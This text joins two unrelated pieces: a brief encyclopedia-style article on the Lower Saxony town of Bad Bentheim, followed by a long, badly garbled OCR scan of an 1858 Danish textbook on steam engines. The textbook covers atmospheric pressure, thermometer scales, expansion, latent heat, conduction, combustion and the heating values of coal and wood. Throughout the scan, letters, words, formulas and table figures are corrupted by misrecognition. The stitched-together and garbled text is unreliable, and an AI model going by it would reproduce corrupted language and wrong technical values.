Bad Bentheim, a town shaped by the Evangelical Church, belongs to Lower Saxony's district of Bentheim. It borders on two other towns in Lower Saxony, Schüttorf and Nordhorn as well as on the Catholic towns of Gronau and Ochtrup in North Rhine-Westphalia's Steinfurt and Borken districts respectively. Bad Bentheim is right on the Dutch border, its immediate neighbours on the other side being de Lutte and Losser, both Catholic places in the province of Overijssel (Twente region). Not far away is the Dutch cities of Almelo, Enschede and Hengelo, and on the German side Lingen, Rheine, Münster and Osnabrück.
Constituent communities
The town has the centres of Achterberg, Bardel, Gildehaus, Hagelshoek, Holt und Haar, Sieringhoek, Waldseite and Westenberg.
References
Further reading
(English-French-Dutch-German)
Hubert Titz (publisher): Bad Bentheim - Aspekte einer Stadtgeschichte. Schriftenreihe der Volkshochschule des Landkreises Grafschaft Bentheim Bd. 21/Schriftenreihe des Heimatvereins Grafschaft Bentheim Bd. 138, Bad Bentheim 1996.
Herbert Wagner: Die Gestapo war nicht allein… Politische Sozialkontrolle und Staatsterror im deutsch-niederländischen Grenzgebiet 1929-1945. (Gestapo und Grenzpolizeikommissariat Bentheim), LIT-Verlag, Münster 2004.
Other websites
Internet presence of the Town of Bad Bentheim
Bardel Franciscan Monastery
picture gallery at the Bardel Franciscan Monastery
Site of the Prince of Bentheim
Site of Bentheim Castle
Site of the Sandstone Museum
Towns in Lower Saxony
County of Bentheim (district)
Spa towns in Germany |
T**l*.dv JKiATUjH UURARY
^Tj
Digitized by Google
£)m
Dampmaffuiqr øj
fl aaX
TSpLM*
X
for ben tetøniffe ©lole pan jorten
o*
af
• W
V
/
r
X <v \
ØT^®. 1j. (Scalmupbtn.
THAKKPOKTATiON UBSlik&Y j
" ■ 1 " " ' '
K^rifltønta.
gorlagt af 3«<- $t>bK>at>.
Irpft be4 $. 3 . 3enf(ii,
1858 .
Digilized by Google
f„fliportatU
ubf»nr
VA1
7 51
. £ 31 .
Digitized by Googte
/ o ~é> ‘SX
t- r- ( , • Y * ‘ ’ Å (/ ^ ■ ,rC
d
SnMc&ninø.
§ 1. ®en atmofpbærijfe £uft, b»oraf Bi overalt paa Sorgen ere omgione, ubooer
paa Srunb af fin Slaflicitet et Srpf paa enfjver glabe, firerraeb ben er i ffleroring.
fflarometret vifer oS Storrelfen af bette Srpf; bets ClBiffelocolonne, fom ooenoBcr fig
bar et lufttomt 9tuni, boercS nemlig af Sufttrpffet paa fflarometrets aabne Snbe, eg
enfieer anben glabe irpffcS ligelfbeS af Snften meb en Sraft lig ffloegten af en Coiffolo*
colonne, ber bar glaben til ©ruubflabe og 3kromcterl)eiben til £oibe. fflarometerbsiben
Kiver minbre, jo loengere man fjerner fig fra jbarcts Ooerflabe, omtrent en Somme for
be fsrfle 900 gob man ftiger; ben foranbrer ftg ogfaa baa eet og farame Steb omtrent
1 Somme ooer og unber fin ffliboclfiorrclfe, ber et 29 JRorffe Sommer (lig 28 granfte
= 30 Sngelffc Sommer = 760 SDiiflimcter). ®a 29 JRorffe Stubiftommer Oviffolv
veie 14,15 JRorffe fflunb, faa bliver SitfUrptfetS JDiibbeljterrelfe Beb {'JOctS Ooerflabe,
eller 1 SltmofpbæreS Srpf, fom man bleier at falbe bet, 14,15 JRorffe tb pr. JRorff
Cibabrattomme. 3 2 «ren om SJampinajfiner regner man for bet mejtc i ©ngeljt SDtaal
og ffleegt, fflarometerbeiben til 30 Sommer, og SltmofpbærenS Srpf pr. Ceabrattoninie
til 15 S\
Sammentr^ffeS £uft, t. Beb Jpjcclp af et tætfluttenbe Stempel i en (fplin*
ber, faa ftiger Srpffet pr. CBabrattomme i famme gorljolb fom JRumntei forminbffeS j
omoenbt, fortpnbeS fiuften, oeb at Stemplet traffes ubab, faa aftager Srpffet i famme
gorftolb fom JRummct foregcS. 2>emte Satning, at Spanbigbeben er omoenbt propor*
tional meb fflolumrt, altfaa birecte meb Scrtbeben, falbeS efter Cpbagerett JDiarirltiS
Soo. $BorlebeS ben mobiftceteS ocb goranbring af ben iitbefluitebe fiufts fflarmegrab, ffal
fiben BifcS.
5 2. fiegemerneS Silftanb meb $enfpn paa fflarmen, bercS Scmperatur, maaleS
oeb ipjaelp af Sberntometre ; ire Slags faabanne ere i fflrug, nemlig JReaumurS (JR), ber
bar 0° oeb ffianbetS grbfepunct og 80° Beb bets Itogepunct, GelftuS, ber ligelebeS bst
0° oeb grpfcpunctet, men 100° Beb Sogepunctct, og gabrenbeits, ber b ar 32° oeb grp»
fepunetet, 212° oeb ffogepunetet. 9lf 3nbbelingSmaaben felger, at t° JR = a U t° 5
= 32 -f- 9 U t® g. 4>oS oS er ben JReaumurffe Sbermometerjfale meefl i fflrug; i
Snglanb og 21 merifo gabrenbeits, i be flefte attbre Sanbe GelfiuS etler ben buiibrcbegra-
bige, fom ben ogfaa falbeS.
1
Digitized by Google
2
§ 3. ane 2egemer ubnibe» Peb Barmen; be fafte Segetnet minbft, BæbfTeme
noget mere, Euft meejJ. Ubnibelfen fra 0° til 80° 9t, ubtrptt i ©eie af Bolumet peb
0°, er
for
Gla» omtrent . .
•
Viaoo
©taal og ©tebejern
omtr.
V900
©mebejern omtr. .
Vsao
Kobber —
V580
2We»jing —
V »30
3inl — .
V330
Sipe — .
V350
Ooitfoln —
•
*/s6
er uregelma»jtg ; fra
0 ° tit
-f 4 °
og ubniber fig berpaa alt flærtere og ftcerfere, jo oarmete bet Bliner, inbtil bet wb Ko»
gepunciet er V 22 ftorre i Bolum enb oeb 0®. Dtaar Banb firffer, uboiber bet flg ogfaa,
meb eit Kraft, tilftradelig til at fprange be ficrrfefie Kar. Sufien uboiber fig regelraa»»
figt 0,3665 eder nær 3 /s af Bolumet oeb 0°, naar temperaturen ftiger fra 0° til 80°
9t. Betegne» altfaa en 2uftraa»fe» Bolum peb 0° meb V, oeb temperaturen t° £R meb
V’ faa er
V’ = V (1 -f 0,00458 t)
218 4- 1
218
Gt ben £uftnta»fe, forn opoarme», inbeluttet faalebe», at Ubnibelfe tffe (an fore»
gaae, faa ftiger ©panbigfeben i famme gorfolb, forn Boluinet ffitlbe fjaoe tiftaget.
§ 4. Beb fortfat OpBebning Bringe» fafte fiegemer til at fmelte og flpbenbe
Segemer til at antage Suftform; be forbampe. Banb ubPifler ©amp peb alle lempe»
raturer, fei» unbet grpfepunctet, men ©panbtraften er befto minbre, jo lånere teinpera»
turen er; forft Peb en temperatur af 80° 9t. faae ©ampene een atmofpfare» ©poenb*
(raft, og Blioe beroeb ijtanb til at uboille fig ogfaa i bet 3nbre af Banbmabfen, famf
at fcette benne i ben unber Bann af Sogning Befjenbte Bepoegetfe, faafremt ber paa Doer»
flaben iffc nirtcr anbet trp( enb atmofpfaren». Gr treffet ftorre, faa Bcgtmber Kog»
ningen forft ncb en feiere temperatur, ben nemlig, Peb frillen ©ampen far en ©panb»
(raft lig trfflet.
§ 5. 9taar ©amp et i Betoring meb Banb, faa opnaaet ben altib, ialtfalb
efter nogen tib» gorlob, en Bejieint, til temperaturen fparenbe Spoenbigfeb, og inbtager
et 6ejtemt Bolum. ©ammen trptfe» faaban ©amp, faa ftiger ben» ©panbigfeb iffe, men
en ©ecl af ©ampen ouergaaer til Banb. ©ampen ftge» i benne tilfianb at Paere mattet
og fane Stapimum af Spcenbfraft. ©pfebe» ben, faa optager ben mere Banb, og
©poenbfraften ftiger meget furtigt. 3 en taBel Bag i Bogen er anginet ben til forfljel»
lige temperaturer fnarenbe ©panbfraft fo« ©ampen, famt i BuBriften „Bolum" bet
anta! Gange, forn ©ampen» SRumfang et ftorre enb bet Banb», fnoraf ben er bannet,
©et fee» af tabellen og er (et at erinbre, at 1 KuBittomme Banb girer najten 1 Ku»
Biffob ©amp af 1 atmofpfcere» ©panbfraft, omtrent $alobe(en faa meget af 2, tre»
biebelen af 3 atmofpfarer» ©panbfraft, 0 . f. n. ©ampen» Ggenoagt, relatint til
Banb, er naturlignii» lig 1 biniberet meb Bolumet. fltelatint til Siift af famme tom»
peratur er tatfeben. af ©amp af 1 atmofpfoerc» ©panbfraft lig Visns X 769,4 X
(1 -f- 0,00458 X 80°) = 0,62. ©pfebe» ©amp, fom iffe et i Beroring meb
Banb, faa forfolber ben fig fom Suft; ©panbfraft etler Bolum ftiger ba meget lang»
fommere, enb naar ber er Banb tilfiebe, fnoraf ©ampen (an matte». Om ©amp far
Digitized by Google
3
Stnlebnitig fil at ltbsibe pg uben at Jemperaturen foranbreø, faa felger ©poenbfraften
SWariottiø Sos; bet fantme er Hitfcelbet mcb iffe mcettet Dam)), fom fammentrpffeø, inb*
tit ©poenbfraften bar naaet ben iit Jemperaturen fsarenbe ©tørretfe; ba opbører, fom
fer anført, gorøgetfen. ©amp, fom iffe bar JRapimum af ©poenbfraft, falbeø gjerne
ooerbebet, naar temperaturen er oser Sfogcpunctet.
§ 6. Beb enbset ©meltning etter gorbampning mcbgaaer en betpbetig Bioengbe
Barme ti! at besirfe fetoe ©sergangen fra ben ene gorm tit ben anben. tenne
Barme forbtioer boø bet fmettebe etter forbampebe Segemc uben at funne bemoetfeø reb
#joetp af tBermometret, og pgeø berfor at Paerc bunben (latent); ben blioer igjen fri,
og pirffom paa Slfjermometret fom ettcrø, naar ben mobfatte ©scrgang ftnber ©teb,
attfaa naar bet fmettebe Segeme ftørfncr, etter tampen opergaaer tit Baebjfe, fortoetteø.
Barmeforbruget peb et Segemeø ©ppebning ub oser betø ©mette etter ftogepnnct
angiseø faatebeø iffe af temperaturforanbringen alene; ber mebgaaer t. 6j. noejten 5 '/a
©ang faa meget Barme til at forsanbte fogbebt Banb tit tamp af famme temperatur,
fom tit at opbebe bet fra 0“ tit Sfogepunctet. gor at funne angise ben forbrugte Bar»
memaengbe meb tat bar man berfor inbført en foeregen @enbeb tit Barmemaaling, ber
fatbeø Barmeeenbeb etter Galorie; benneø ©tørretfe er forjfjettig i forff jetlige Sanbe; si
sitte ber benptte ben Bicengbe Barme, fom bebøseø til at opbebe 1 SRorff få Banb l°Øt.
til at opbebe 1 S" Banb fra 0 til 80° bebøseø ba 80, til at forbampe bet fogbebe
Banb 5,43 X &0 etter 434 Kalorier. tamp af ficiere temperatur og tilfsarenbe
flørte ©poenbfraft inbebotber mere fri Barme enb tamp af 1 Sttmofpboereø ©poenbfraft,
men paa bet neermejte tigefaa meget minbre bunben Barrap; man fan berfor, meb al ben
Bøiagtigbeb, fom i' tfrariø bebøseø, antage at 1 ff tamp af bsilfenfombeljt ©portib»
fraft inbebotber iatt 434 -f- 80 eDer 514 Kalorier mere enb famme Boegt Banb af 0°
temperatur. ' Btanbeø berfor D n> tamp og V ®" Banb af temperaturen t, faa fremforn»
mer D -)- Y S" Banb, b»’$ temperatur T — ©««tebeø t. (i{.
af 1 tamp og 30fr Banbafl5°9t. banneø 31 Banb af —
= 31° 3t. ta tampenø Sotum er paa bet neermejte omsenbt proportionat meb benø
©poenbfraft, faa bliset Barmeforbruget seb tanneifen af et beftemt Botum tamp paa
bet ncermejie proportionat meb ben ©poenbfraft, tampen jfat base. BicbenØ attfaa 1
tamp af 1 Sttmofpboereø og 1 tamp af 2 Sttmofpbcererø ©poenbfraft fr tese (ige
megen Barme, bebøseø ber tit grembringelfe af 1 Jtubiffob tamp af 2 Sltmofpboererø
©poenbfraft najlen bobbett faa megen Barme fom til 1 Jtubiffob af 1 Sttmofpbære ; ben
seier nemlig noeflen bobbett faa meget.
§ 7. Barmcftoffet føger attib at foette pg i fiigesoegt seb at gaae oser fra bet
sarmere Segeme tit bet folbere. Sepnbe Segemcme pg i Slfpanb fra binanben, faa gaaer
Barmen fra bet sarmere til bet fotbere paa famme Biaabe fom Spfet fra bet Itjfere til
bet mortere, i gorm af ©traater. $sor megen Barme ber paa benne Biaabe osergaaer
i en siø lib, beroer paa lemperaturforjfjetlen mettem be to Segenier, og paa Bejfaffen»
beben af bereø Cserftaber; matte etler fsartebe Cserftuber afgise og mobtage ben praa»
lenbe Barme lettefl, poterebe Wetaloscrflaber sanffeligp. ten praalenbe Barme bar i
Blminbeligbeb fun tiben SnbPpbelfe seb tampbannetj'en.
3nben eet og famme Segeme etlet fra et Segeme til et anbet, fom er i Berøring
meb bette, forplanter Barmen pg fra Bartiffel tit Bartiffel, teb Sebning. Bogte Segcmer,
1 *
Digilized by Google
4
beribtanbt Sietallemc, forplante SBarmen let i 3 ) enn røt fig, 03 falbeø gobe SBarmelebete ;
anbre Segemcr, faafom ©teen, Stråte, porøfe Eegemer i bet f?efe taget, flippe SØatmen
fun langfomt igjennem og fatbeS flette SSatmelebcre. SDiccngben af SBarmc, fom frernle*
b t o et *ifl ©tpffe i en oiS Jib, bcroer faalebeø, foruten paa Jemperaturforffjellen raeU
lem ben Parme og folbe ©ibe af Segemet eller Segcmcrne, paa ljoab ©tof be ere af.
S3etegneø ben Sarmemcengbe, fom unber gisne SBetingelfer gjennemlabeø af ®ulb, mcb
1000, faa gjenncmlabeS unber famme Omflcenbigbebet,
af ©elo 973
* Kobber 898
* 3ern 374
* £in 304
« »I$ 180
s ‘JJorcelloen og lignenbe if-
gemer, omtrent . . . 12 .
ffieb ®ampbanne(fen foregaaer Setningen i Sllminbeligbeb gjennem en 3eonptabe
af V« a Va Stommeø Jpffelfe. 1 Ooabratfob faaban QSlabe, ber b« temperaturen T
paa ben oarme, t paa ben folbe (tninbre sarme) ©ibe, gjennemlaber, naar ben er fulb»
fommen reen, 53 (T — t) Kalorier i timen. Kobber siibe gjennemlabe mere i gorfjolbet
898 til 374 etler omtrent 2Va ©ang ; men oeerbragcø ijjlaberne meb et Sag ©ob etler
©tnubs, faalebeS fom bet altib ffeer i Dampfjebler, faa forminbjfeø Sebningcøonen oeb
bette SagS SRobftanb mob gorplantelfen, og ba ©mubølagetø SebningSeone cr Vao mob
Sernets, V 74 mob Kobberets, forffoibSoiii mcejt for bet fibfte. Dette er ©runben til,
at Dampfjeblcr af Kobber iffe ere faa forbcelagtige i S^rapiS, fom be paa ©runb af
Kobberets ftorre SBarmelebningSeone ffulbe ooere.
23anb et i ftg felo en flct Sarmcleber, men fan beøuagtet forplante SBannen
meget fmrtigt, naar ben tilforcø Karret, boori SBanbet er, nebenfra. Da oide nemlig be
unberjle SJkrtitter, fom oeb at opoarmeS i SBeroring meb Kartets Sunb blioe lettere,
fiige op og gjore 'JftabS for anbre folbere iftartifler, fom i fin tuur øpsarnteS. Saitgø
et Karø oerticale ©ibeflaber foregaaer, naar bisfe opoarmeS, lignenbe Stromninger, men
SBirfningen til Opoarntning af SBanbmaSfcn blioer, paa ©runb af bet minbre fri Slflob
for be oarme Sfjartifier, betpbelig minbre. Sægger man et Saag ooer Karret, og oppar*
mer bette, faa ooergaaer noeffen ingen SQarme til SJanbct, om bet enb er i Sreoring meb
Saaget ; be oarme ‘flartifler ere nemlig ba fra ferji af osenpaa, og beoirfe ingen ©ttøm=
ning. Denne SBanbetS SDiaabe at lebe SBarmcn paa et af megen SSigtigbeb oeb Slnbrin*
gelfen af 3lb|feber i Dampfjebler. røan antager i Sllminbeligbeb, at oerticale Dele af
3 lbs og Sioglebningcr frembringe b«iot faa flor SBirfning fom ligefaa flere borijontale,
ber ba»e Sfanbet ooer fig; af borijontale glaber, ber baoe SSanbet unber fig, fan liben
eller ingen SBirfning paaregneS. Slf borijontalliggcnbe Dior paaregneS Va SBirfning.
Suften leber SBarmen paa famme SDiaabe fom SBanbet. Kunne be Suftpartifier,
fom af en beeb Ooerflabe baoe mobtaget SBarme, frit fiige opab, faa oil Suftjlrommen
affjole Oocrjlaben temmelig ^nrtigt. Gn jiilleflaaenbe Suftmasfe er berimob en meget ftet
SBarmelcber. Den Suft, fom finbeS i porofe SegemerS ffSorer, er fanbfpnligsiié ^loocb.-
aarfagen til bisfe EegemerS ringe Sone til at lebe SBarmen.
§ 8 . Dm SBanb, fom inbebolber ©alte oplofl, ©oeoanb t. Gr., bringes i Kog,
faa forbamper blot SBanbet, men ©altet blioer tilbage. ©oeoanb inbebolber omtrent 3
pGt. ©altj ben fiorjte SKangbe ©alt, fom SBanb fan bolbe oplofl, er omtrent 40 pGt.,
Dlgitized by GoogI
5
men t Dampfjebeter tittabei man iffe Opto*ningen at blire noer faa ftcerf, ba flere af be
©loffe, forn Søeranbet inbeffolber optøfte, affaette fig tibligere. 12 pSt. ©afte fe*
©anbet i en Dampfjebte anfee* forn bet #oiefie, forn man uben gate fan tittabe ; bror*
lebe* en ftørre ®ef;alt unbgaae*, flat fiben forftare*.
3o flerre ©toengbe ©att en Oplø*ning inbebolbcr, bejto ftørre er ben* Sgenroegt
»eb en giren temperatur. Sgenroeglen af mattet ©altoptøining reb 0° temperatur et
1,205 reb Jlogepunctet 1,15; men Sgenraegten er iffe proportional meb ©attfjolbigbeben
etter temperaturen ; tit at beftemme en Cptø*ning* ©attge^att reb #jaelp af ben* 8gen»
ragt benptter man berfor fategne gtpbcrcegter, bet fatbc* ©alinometre; bere* ©ifenbe
maa, paa ®runb af Sgenragten* goranbertigbeb meb temperaturen, attib aftafe* reb ben
temperatur §o* JOplø*ningen, reb tirilfen 3nftrumcntet er graberet.
t)cn temperatur, reb brilfen Cptøøningen foger i fri £uft, ftiger meb ©attge»
galten; ©øeranb foger forft reb 80Va° 9t., mattet ©attop(o*ning reb 86,7° og ftoges
punctet ftiger paa bet narmefte 0,17° SR. for tører tjjrocent ©alt Cp(ø*ningen inbefyolber.
2Ran fan berfor ogfaa befiemme ©attgetialten reb ■fijatp af tbermometret, naar man
bringer Oplø*ningen i Sfog i et aabent itar. ttRcrrfe* maa, at Dampen, forn ubrifte*
af en ©attoptc*ning, bar fammc temperatur reb en giren Spanbfraft, forn om ben rar
ubriflct af fcrfft ©anb.
§ 9. Sanne fan ubrifte* paa mange forfliettige ©taaber. 9tt 3»rben faaer ben
fterjte Deet af jtn ©arme fra ©olen, er befjenbt. ©eb fafle Segemer* ©nibning mob binanben
opftaacr temperaturforbøielfe, ber unber gunfiigc Omjtanbigbeber fan blire meget betpbetig.
Suftforniige Segemer* ©ammentrpf iling og etectriffe Ublabntttger ere tigclebe* ©artnefilbcr;
ben ©arme, forn benptte* til Dampbannetfen, ubrifte* imibtertib attib reb gorbranbing
af et eller anbet ©rcrnbematerial, forn oftejt ©tcenfut.
gorbrcenbingen et en ebemiff ©roce*, brorrcb en eder flere af SBranbemateriatiet*
©efianbbele forbinbe fig meb Suften* ene ©ejlanbbeel tit npe Segemer, ber meb fatteb*
SRarn fatbe* gorbranbing*probufter. De fabrar.tige ©raenbematerialier, ©eeb, torr,
©teenfut, beftaae atte af Jtutjtof, Sanbftof og ©urftof, famt for ©tcenfuttene* Sebfom»
raenbc titlige Oraelffof og forn ofteft noget ©rort. Stlfali, jtifeljorb, flatf og flere
tignenbe ©tojfe forefinbe* ogfaa, for bet melte i ringe SWcengbe, bo* ©raenbematerialieme,
og banne ben eftcr gorbrcenbingen tilbagebtirenbe Slffe. Suften beftaaer af 1 De.' t ©urftof
og 4 Dele Grcrt|lof; bet er ©urjlojfet* gorening meb Sraenbemateriatierne* Jfulftof og
Sanbftof, fom ubgjor ben roefenttige Deet af gorbrcenbingen, ffiarmefitben ; ©rort og
nogle anbre af Srocnbemateriatierne* ©cftanbbele forbraenbe rifinof ogfaa, men bare paa
®runb af bere* ringe røaengbe ingen mcerfbar Snbftpbelfe paa ©armeubriflingen. tRaar
titftrceffetig Suft er tilftebe, faa banne* reb fiuljtoffet* gotbrambing en Suftart, fom fatbe*
flutfpre; i anbet galb banne* ffutoppb, ber ogfaa er en Suftart, men brcenbbar;
begge ere farretefe og gjennemjigtigt. fflanbftoffet* gorbraenbing banner ©anbbampc.
SWeb bi«fe gorbroenbingøprobucter blanbe fig Suften* Crcetjtof, fflrecnbemateriatiet* Groetftof
og Dampene af bet ©anb, fom ©raenbemateriatiet inbebolbt, bcet* i ebemiff gorening
meb fine ortige «Stoffe, beel* mefaniff inbbtanbet. Di*fe Stoffe, langt fra at ubrifte
nogen ©arme, bortføre trertimob en Deet af ben, fom ubrifte* reb Jtulltoffet* og ©anb*
ftoffet* gorbraenbing. Det er ifeer bet mefaniff inbbtanbebe (bpgrojfopiffe) ©anb, broraf
Iraee og Dørr bofbe fra 20 til 50 pSt., fom reb fin gorbampning binber og bortfører
©arme. 5tt ©trøramen af gorbraenbingøprobueter, SRøgen, attib er mere etter minbre
Digitized by Google
6
uglennemfigtig, rifer enbelig, at ben mebfører uforbtombte Sulpartifler — be(to fine, jo
mørfere ben er.
§ 10. Derforn man funbe inbrette et 3tbjteb faalebe*, «t Sntet af ben reb gor»
braenbingen ubriflebe Barme gi! tatt, faa funbe et Braenbematerial* Kffeet beregne* af
bet* djemijfe ©ammenfoetning. Man tjar nemlig reb gorføg funbet, at 1 B Stuljlof,
forbraenbt til Sfulfpre, ubrifler 6250, 1 B Banbflof, forbroenbt til Banb, 19000 Kalorier.
1 B fiilbfommen tørt Iroee inbeljolber (IHffegetøalten fraregnet) 0,526 Jtulftof, 0,053
Banbflof, 0,421 ©urftof. Da nn 0,421 ©urftof meb 0,026 Banbfiof banner Banb,
ber meb •Senftjn paa gorbrcrnbingen fan anfee* fom allerebe fcerbigbannet i Iroeet, faa
er tilbage til gorbrcrnbing reb •f'jae!p afguften* ©urftof 0,027 B SBanbfiof, ber ubrifler
513 Kalorier, og SEuljtoffet, fom gioer 3287; 1 B Ircee ffulbe altfaa oeb fin gorbrcrnbing
gioe 3800 Kalorier; SRumfotb fanbt oeb gorføg meb fulbftaetibig ubtørret Ircee 3451.
fiufttorret Ircee inbe^olber 20 pKt. fipgroffopiff Banb; bet uboiflet altfaa fun 4 /s af
ben ooenfor fimbne SSarmemcrngbe, eller 3040 Kalorier, og beraf afgaaer i ben befmlbne
Kjfcct 103 Kalorier, fom berøre* til at forbampe Vs B Banb. H3aa lignenbe Maabe
funbe man beregne anbre Brcrnbematerialier* Kffect ; oeb gorføg ffnber man noget laoere
Befultater, beel* paa ®runb af Sljfegeljalten, beel* paa ©runb af be Barmetab oeb Ub<
ftraaling og SlfTebning, fom albrig fiilbfommen funne unbgaae*. Man t»ar faalebe*
funbet, at
1 B Ircee, faa tørt fom bet blioer t Suften, gioer 2,400 Kalorier.
1 B alminbeligt Broenbe omtrent 2,000 —
1 B Iraeful 6,000 —
1 'tT lørr, lufttørret fra 3,000 —
til 900 —
1 B ©tcenful fra 5,800 —
til 4,000 —
1 B Kofe* 4,800 —
Di*fe Befultater fornbfoette enbnu, at al ben uboiflebe Barme faaoibt muligt
opfamle*, og augioe faalebe* Majimum af b»ab ber fan ubbringe* af Brcenbematerialierne.
Beb -£>jcrlp af bem ftnber man, at ba gorbampniitgen af 1 .Rubitfob Banb frcercr 514
X 62 eller 31,868 Kalorier, faa ubforbre* bertil i bet minbjte
af ©tcenful, bebjte ©ort . . 5,5 B
i — flettcjte — . . 8,0 «
‘ — Kofe* .... 6,6 t
» alminbeligt tørt Iroee . . . 15,9 *
* Irceful 5,3 »
3 Btøji* “il attib mere mebgaae, forbi Bøgen maa bortføre enbeel Barme, om
ber ffal blioe Ircrf i ©forftencn, og forbi gotbraenbingen albrig er fulbflcenbig. let
anfee* for et gobt Slbfteb, fom forbamper 1 Rubiffob Banb meb 10 B almtnbelige
©teenful og for&olbørii* af anbre Materialier,
Da Brcrnbcmatcria! bo* o* fceboanlig regne* cfter Maal, faa bemcrrfe*, at 1
lonbe ©teenful reier 220 til 240 B, 1 lønbe Kofe* $alrbelen faa meget etler noget
minbre (forffjelligt efter gorfullingømaaben). 1 gaon lufttørret Bøgebtoenbe reier 2100
B, Birf 1900, guru 1500, ®ran 1400 B. Da Kjfecten pr. B er ben famme for
forjfjellige Ircrforter meb famme Banbgefcalt, faa for^olber fig Berrbien fom Bcrgten pr.
garn. griff fcrlbct Bøg eller Birf et omtrent Vs tungere pr. garn enb foran angiret,
Digitized by Google
7
guru V#, ©ran V« ; at gotogelfe i ffiægten af tenne ©runb netfoetter Sræets ©ærbic
fom ©rænbfel, Bil af bet gotegaaenbe Bære flart.
§ 11. ©a gorbrænbingen er en gorening meb ©urftof, faa fan ben iffe
fotegaae uben at bette ©tof er tiljtebe i tilfiræffdig Ktængbe ; ber maae altfaa i ctb»ert
3lbfleb sære tilftraeffelig Slbgang for Suften. 1 % fluljtof fræser 3, 1 W ©anbftof 8
8 ©urftof til fin gorbrænbing, altfaa refpeftiBc 15 og 40 8 Suft. Beraf og af©rænb»
felets cficmifTe ©ammenfætning fan SKængben af Suft, fom ubforbreS tit gorbrænbingen,
beregnes ; man maa iraiblertib i ©raris Baaregne et noget flerre gotbrug, ba altib en
©eel af SuftenS ©urftof gaaet ubenpttet bort, ifær naat Irætfen er jiærf. Sil fulb»
fiænbig gorbrænbing af 1 8" ©teenful eller ©ofcS ubfræoeS faalebeS omtrent 250 flu»
biffob folb Suft, ber Beb Cpbcbningen gioer 400 til 500 flubiffob Otog. ©a 1 8
Iræe ubBifler minbre ©arme enb 1 8 ©teenful, blioer iliolumet af Suft og Steg noget
putre, naar en gioen ©feet fal frembringes meb Sræe iftebetfor meb flul.
Sil gorbrænbingen ubforbrcS Bibere en befiemt, for be forffjellige Srænbematerialier
forffjettig Icmperatur, unber ^cilfen Slntænbelfe iffe finber ©teb. ©enne Semperatur et
laoeft forSræe — omtrent 200° — og beiere for ©teenful, befto mere, jo baarbere og
io minbre oanbftoftjolbige be ere, ^otefl for <5ofe«. #ebenS forfie Snboirfning paa Srænb»
^elet beftaaer i at ubjfiHe bets ©anbftof i gorbinbelfe meb mere eller minbre af be orrige
©ejtanbbele fom en ©asflrum, b®>S berpaa folgenbe gorbrænbing banner glammen. Der
blioer tilbage glubenbe SofeS etler Sræful, bois gorbrænbing foregaaer uben glamme ;
at be beSuagtet Bebblioe at giBe en fieeb Suftftrum, beftaaenbe af ben bannebe flulfpre
og SuftenS Ctoælftof, er flart, glammen faaer fin Spfefraft Beb at ben mcbfuter ufor»
brænbte flulp>rrtifler, fom glube i ben. ©n rpgcnbe eHer ofenbe glamme er et SetiiS
paa ufulbjiænbig gorbrænbing.
§ 12. ©a ©teenfuQene ere bet Bigtigfte Srænbfet for ©ampmaffiner, Bille Bi
beiragte bem noget nærmere. Kogle ©teenful befiaae næfien ubelitffenbe af flulfiof, inbtil
95 B®t. ©e ere tunge og fjaatbe, antænbeS Banjfelig, giBe liben Sue og fræoe faa ftærf
Iræf, at ben sanffelig fan frembringes uben ©læfemajfiner. Knttjraciten, fom forefontmer
i SKængbe i taerifa og i nogle af ©ruberne i SBaleS, burer til benne SlaSfe. Den
fan iffe brugeS unber ©ampfjebler, uben naar 3lbftebeme ere færffilt inbrettebe for ben.
©e flepe ©teenful inbefiolbe foruben Aulfiojfet, fom altib. ubgjor' £oBebma$fen,
en ©eel barpipartebe, oanbftofbolbige gorbinbelfer, fom Beb gorbrænbingen gioe glamme.
3o mere ber er af bisfe, befio febere eller mere bituminufe figcS flullene at Bære, og
befto fiorte glamme gioe be. Cannel coal (rigtigere candle coal, SpSful) brænbe
fom et ©ttjffe Iræe meb flar glamme. Ketocafile flullene ete noget minbre bituminufe,
men antænbeS og forbrænbe bog temmelig let. ©c funne i gorliolb til bcreS ©riiS
anfecS fom be bebfie for ©ampmaffiner. ffin ©tellemfort mellem Stnttjracit og Keivcaftte
flul finbeS i ffialeS, og gaaer i #anbelen unber Kaon af maleffe ©ampbaabsful ; be
ere bprere og (Tjorete enb be febeflul, men gioe faa gobt fom ingen 9iog ; en ©lanbing
af lige ©eie af bem og Kewcaflle flul antageS at gioe meefi ©amp pr. lonbc flul.
aWeOem flul fra forfTjellige ©ruber tan ogfaa finbe anbre gorfljelligbebet ©teb
enb netop i SWængben af bituminufe ©eie. SljTegefialten Baricrer faafebeS fra 5 til 40
p©t. Kogle flul inbefiolbe meget ©bobI og ere tilbuielige til at angribe Kiften, fitorpaa
be forbrænbeS, ftunbbom ogfaa til ©elBantænbelfe, naat be unber Oplag ere ubfatte for
gugtigbeb. ©genoægten Barierer noget, ©ammenfiængSfraften, og meb ben ©Bnen til at
taale IranSport, mere. Kogle flul, naonlig be meget febe, fmelte unber gorbrænbingen.
8
og falbe# bagenbe (caking coal), anbre falbe iht, og falbe# ©nnbfitl. ®n 37io Ctemfort
mellcm bi#fe, fom unbcrtiben benoepite# ©interful, fommer i 3lbftebet i en balofmeltet,
fammenfintret Silflanb, og anfee# i Sllminbeligbcb fom be bebfle. SagenbeRul forfboppe
nemlig SRifiaabningerne, ©anbful falbe igjenncm.
Sleb Slnffajfelfen af Sul fjat man, paa ©rmtb af be anforte gorffjelligbeber, fora
ingenlunbe altib gioe (tg tilfjcnbo oeb Rullene# llbfeenbe, intet Slnbct at fjolfce ftg til enb
(Srfaringen om boab ©lag# Ritl et ©rubefelbt leoerer; i Jilfælbe af ftorre fieperancet
forlange# altib (Sertiftcat for boorfra Rullene ere. Slf Stettcajilefutlene ere Hartley coal
meb forffjellige Iilloeg«benat»neIfet gobe Sorter. Slttoa Ritl ere ringere, ffjønbt bntgbare.
©teenful til Dampffibe bor altib ooere barpebc (figtebe), ba ©maaefullene fot (torjte Delen
falbe igjemtem IRiften og gaae til ©pilbe. ©rnaaful, fom iffe ftolbe for meget ©»opl,
banne en egen #anbel#arttfTel unbcr 91aon af ©mebbeful. Det faafalbte l$atentbroenbfel
er bannet af ©rnaaful og Rultjoere, fammenpreøfct til regelmceøfige ©tptfer og bratnbt
fom et ©lag# legljieen ; bet tager libt minbre ipiab# enb alminbelige Rul og bar, efter
SBoegt, omtrent famme Sctrbie fom biéfe.
©n UReflentting metlem ©teenful og lero frnbe 3 i forffjeQige ©ruber, og falbe#
Sruunful ; be ere af meget forffjetlig Sejfaffenbeb, beel# jorbartebe, beel# traabige, beel#
mere fainmenbængenbe og fteenfulartcbe. De baoe t ©jennemfnit ringere Scetbie enb
